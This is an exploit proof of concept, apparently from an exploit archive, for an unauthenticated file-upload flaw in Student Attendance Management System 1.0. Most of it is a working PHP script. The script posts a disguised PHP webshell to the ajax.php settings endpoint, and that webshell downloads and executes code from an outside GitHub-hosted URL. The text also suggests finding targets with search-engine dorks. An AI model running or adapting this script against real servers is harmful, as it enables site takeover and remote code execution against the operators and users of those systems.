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| # Title     : Student Attendance Management System 1.0 code injection Vulnerability                                                       |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            |
| # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/student-attendance-management-system.zip              |
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poc :

[+] Dorking Ä°n Google Or Other Search Enggine.

[+] This payload injects php code of your choice into an SHELL.php file. 

[+] Line 28
    Line 37
	
[+] change the path of the script folder.

[+] save payload as poc.php

[+] usage from cmd : C:\www\test>php 1.php 127.0.0.1

[+] payload : 
<?php

function file_upload($target_ip) {
    $file_name = "indoushka.php";
    $webshell_payload = "<?php
        \$url = 'https://raw.githubusercontent.com/indoushka/txt/main/indoushka.txt';
        \$ch = curl_init();
        curl_setopt(\$ch, CURLOPT_URL, \$url);
        curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, true);
        \$output = curl_exec(\$ch);
        curl_close(\$ch);
        if (\$output) {
            include 'data://text/plain;base64,' . base64_encode(\$output);
        }
    ?>";

    $post_fields = array(
        
        'name' => 'Hacked By Indoushka',
        'email' => 'indoushka4ever@gmail.com',
		'contact' => '00213771818860',
		'img' => new CURLFile('data://text/plain;base64,' . base64_encode($webshell_payload), 'application/x-php', $file_name),

        'qty' => '1'
    );

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "http://$target_ip/student_attendance/ajax.php?action=save_settings");
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

    $response = curl_exec($ch);
    curl_close($ch);

    echo "(+) Shell uploaded successfully.\n";
    echo "(+) Access the shell at: http://$target_ip/student_attendance/assets/uploads/\n";
}

if ($argc != 2) {
    echo "(+) Usage: php " . $argv[0] . " <target ip>\n";
    echo "(+) Example: php " . $argv[0] . " 10.0.0.1\n";
    exit(-1);
}

$target_ip = $argv[1];
file_upload($target_ip);


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
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